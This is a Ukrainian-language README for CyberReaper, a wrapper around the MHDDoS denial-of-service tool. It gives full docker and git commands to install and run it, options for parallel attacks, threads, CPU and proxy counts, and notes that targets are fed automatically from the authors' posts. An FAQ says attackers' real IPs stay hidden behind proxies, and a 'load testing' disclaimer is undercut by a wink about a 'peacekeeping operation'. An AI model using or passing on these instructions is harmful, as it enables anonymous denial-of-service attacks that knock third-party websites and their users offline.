Скрипт-обгортка для запуску потужного DDoS інструмента MHDDoS
- Не потребує VPN - автоматично скачує і підбирає робочі проксі для заданих цілей, періодично їх оновлюючи
- Атака декількох цілей з автоматичним балансуванням навантаження
- Використовує різні методи для атаки і змінює їх в процесі роботи
- Простий та зрозумілий інтерфейс з іменованими параметрами
🚨ВИМКНІТЬ VPN🚨 - використовуються проксі, VPN тільки заважатиме!
Встановіть і запустіть Docker
Виконайте команди у терміналі:
docker pull egideon/cyber-reaper
docker run --rm egideon/cyber-reaper
Встановіть наступний софт:
Виконайте такі команди:
git clone --recurse-submodules https://github.com/E-Gideon/CyberReaper.git
cd CyberReaper\src
python -m venv venv
.\venv\Scripts\activate
python -m pip install -r MHDDoS/requirements.txt
python -m pip install psutil
python main.py
Виконайте таку команду:
docker pull egideon/cyber-reaper:latest
Виконайте команди:
cd CyberReaper
git pull
-
Пробели з DNS або пропав інтернет: DNS - це одна з найбільших. Не усі домашні роутери можуть витримати таке навантаження яке робить мережа CyberReaper. Додайте до сток запуску ще один параметер:
--dns 1.1.1.1
або--dns 8.8.8.8
Приклад:
docker run --rm --dns 1.1.1.1 egideon/cyber-reaper
-
У консолі з'явилися "трейси" (якась фігня короче 🤔): Це нормально. Інколи це відноситься до нестачі локальних ресурсів, а інколи до успішного "укладення" спати цілі. Система оброблює таки речі, та переходить до наступної цілі.
-
Дядя "Жор"а у процессора. Якщо Вас не влаштовує навантаження на процессор, то ось опції:
$ docker run -ti --rm --dns 8.8.8.8 egideon/cyber-reaper --help
[19:01:38 - INFO]
____ _ ____ _ _ _ _
/ ___| _| |__ ___ _ __/ ___| _ __ __ _ ___ ___ | | | | | | / \
| | | | | | '_ \ / _ \ '__\___ \| '_ \ / _` |/ __/ _ \ | | | | | |/ _ \
| |__| |_| | |_) | __/ | ___) | |_) | (_| | (_| __/ | | | |_| / ___ \
\____\__, |_.__/ \___|_| |____/| .__/ \__,_|\___\___| | | \___/_/ \_\
|___/ |_| |_|
usage: cyberreaper [-h] [-a MAX_ATTACKS] [-t ATTACK_THREADS_LIMIT] [-c CPU_LIMIT]
optional arguments:
-h, --help show this help message and exit
-a MAX_ATTACKS, --max-attacks MAX_ATTACKS
Maximum amount of the attacks executed in parallel (attack pool size).
-t ATTACK_THREADS_LIMIT, --attack-threads-limit ATTACK_THREADS_LIMIT
Limit amount of the threads for every attack. If value >0, it overrules the attack's task configuration 'Threads' parameter provided that has higher value compared to this option's value.
-c CPU_LIMIT, --cpu-limit CPU_LIMIT
Limit the CPU usage by attacks to the specified value.
--use-proxy, --no-use-proxy
Use proxies (default: True)
-p MIN_PROXIES_NEEDED, --min-proxies-needed MIN_PROXIES_NEEDED
Minimum amount of working (alive) proxies required, defaults to 10000.
-a/--max-attacks - кількість задач, що запускаються одночасно -t/--attack-threads-limit - кількість потоків для кожної з задач -c/--cpu-limit - бажаний CPU Load (загальне значення) у відсотках
Приклад:
docker run -ti --rm --dns 8.8.8.8 egideon/cyber-reaper -a 2 -t 10 -c 40
Тобто: Дві копії (задачі) по 10 потоків, відтак разом дають 20 потоків, та усе це має поміститися до 40% на процесорі. Зверніть увагу що для Windows це значення вимірюється в одиницях.
- (Для досвідчених користувачів) Знайдена кількість проксі занадто мала, щоб продовжувати.
У випадку, коли знайдено менше ніж 10000 проксі для створення з'єднань, програма пише помилку і виходить. Так буде, якщо, наприклад, кількість завантажених проксі була 9500. У цьому разі, це ще не є критично малою кількістю, щоб не продовжувати подальші кроки. Тоді, встановлення -p/--min-proxies-needed
опції допоможе продовжити в штатному режимі. Використовуйте на власний розсуд, з позицій здорового глузду. Якщо кількість знайдених проксі була 500, то варто передусім розібратися "а чому так мало вийшло" замість того, щоб "тупо" продовжити операцію з лише 500-ма проксі серверами.
Приклад:
docker run -ti --rm --dns 8.8.8.8 egideon/cyber-reaper -a 2 -t 10 -c 40 --min-proxies-needed=8000
Ввімкнути детальніші логи можна, якщо виставити змінну оточення DEBUG у будь-яке значення, наприклад:
docker run -ti --rm --dns 8.8.8.8 --env DEBUG=y egideon/cyber-reaper -a 2 -t 100
для docker контейнера, або якщо запускаєте локальний python процес:
DEBUG=y python main.py -a 2 -t 100
Q: Як додавати цілі?
A: Цілі автоматично підтягуються з наших постів.
Q: Навіщо вимикати VPN?
A: Для атаки використовується Proxy, VPN тільки заважатиме.
Q: Мій реальний IP будуть бачити ті, кого я атакую?
A: Ні, програмне забезпечення атакує через Proxy.
Це програмне забезпечення створене для тестування навантаження WEB ресурсів. Автори не несуть відповідальності за неправомірне використання
Все що роблять користувачі, ми тільки можемо припустити - що це миротворча операція🙃